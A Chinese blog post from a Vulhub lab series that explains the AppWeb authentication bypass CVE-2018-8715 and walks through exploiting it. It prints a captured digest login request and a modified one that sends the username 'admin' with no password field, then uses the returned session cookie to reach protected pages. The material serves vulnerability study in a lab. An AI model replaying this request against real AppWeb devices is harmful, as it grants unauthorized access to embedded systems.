Vulhub 漏洞学习之:AppWeb
2024-10-20 18:59:18
Vulhub 漏洞学习之:AppWeb
1 AppWeb认证绕过漏洞(CVE-2018-8715)
AppWeb是Embedthis Software LLC公司负责开发维护的一个基于GPL开源协议的嵌入式Web Server。使用C/C++来编写,主要的应用场景是为嵌入式设备提供Web Application容器。
AppWeb可以进行认证配置,其认证方式包括以下三种:
- basic 传统HTTP基础认证
- digest 改进版HTTP基础认证,认证成功后将使用Cookie来保存状态,而不用再传递Authorization头
- form 表单认证
1.1 漏洞利用原理
AppWeb 7.0.3之前的版本中,对于digest和form两种认证方式,如果用户传入的密码为null
(也就是没有传递密码参数),appweb将因为一个逻辑错误导致直接认证成功,并返回session。
1.2 漏洞利用过程
利用前提:需要获得一个已存在的用户名,当前环境下用户名为
admin
。访问目标网站尝试登录,获得登录请求报文
GET / HTTP/1.1
Host: 192.168.210.13:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Mon, 10 Aug 2020 17:10:05 GMT
If-None-Match: 1598657975
Authorization: Digest username="admin", realm="example.com", nonce="OTllOTRhNWU1NmY1OWFhYzpleGFtcGxlLmNvbToxN2U1NmQ4Y2M4YTo3ZQ==", uri="/", algorithm=MD5, response="c765496678345b5122e32b1839fba67f", opaque="799d5", qop=auth, nc=00000001, cnonce="b99d6d92986e8883"修改登录请求报文如下:
GET / HTTP/1.1
Host: 192.168.210.13:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Mon, 10 Aug 2020 17:10:05 GMT
If-None-Match: 1598657975
Authorization: Digest username="admin"由于我们没有传入密码字段,所以服务端出现错误,直接返回了200,且包含一个session:
设置这个 session 到浏览器,即可正常访问需要认证的页面:
最新文章
- dentry与inode有什么联系和区别
- Idea 常用快捷键列表
- Ubuntu下vsftpd配置实例,超级简单,高度可用
- makefile生成静态库和动态库
- SSE及相关技术(web sockets, long polling等)
- IIS负载均衡相关
- R语言结合概率统计的体系分析---数字特征
- 浅谈Javascript中的Label语句
- Arrays的二分查找
- iOS依赖库管理工具之Carthage
- Pyinstaller打包selenium去除chromedriver黑框问题解决!!!
- Linux vfpd锁定用户目录
- [dpdk] SDK编译-简单扼要版
- 记录Python类与继承的一个错误
- C#设计模式(6)——原型模式(Prototype Pattern) C# 深浅复制 MemberwiseClone
- 【转载】css3动画简介以及动画库animate.css的使用
- EPANET头文件解读系列5——TYPES.H
- Mongodb 集群加keyFile认证
- 数论入门2——gcd,lcm,exGCD,欧拉定理,乘法逆元,(ex)CRT,(ex)BSGS,(ex)Lucas,原根,Miller-Rabin,Pollard-Rho
- (转)Inno Setup入门(七)——提供安装语言选项
热门文章
- AI绘画提示词创作指南:DALL·E 2、Midjourney和 Stable Diffusion最全大比拼 ⛵
- DHorse的链路追踪
- 【Hadoop学习】中:HDFS、shell操作、客户端API操作、数据流、1NN、2NN原理、DataNode配置
- 【大数据面试】【框架】Hive:架构、计算引擎、比较、内外部表、by、函数、优化、数据倾斜、动静态分区
- 持续发烧,聊聊Dart语言的并发处理,能挑战Go不?
- 二阶段目标检测网络-FPN 详解
- Jmeter 之提取的值为null时,if控制器中的判断表达式
- @Data加在子类上,子类无法获取父类的属性
- 【ASP.NET Core】按用户角色授权
- 【Allwinner】---全志GPIO号 计算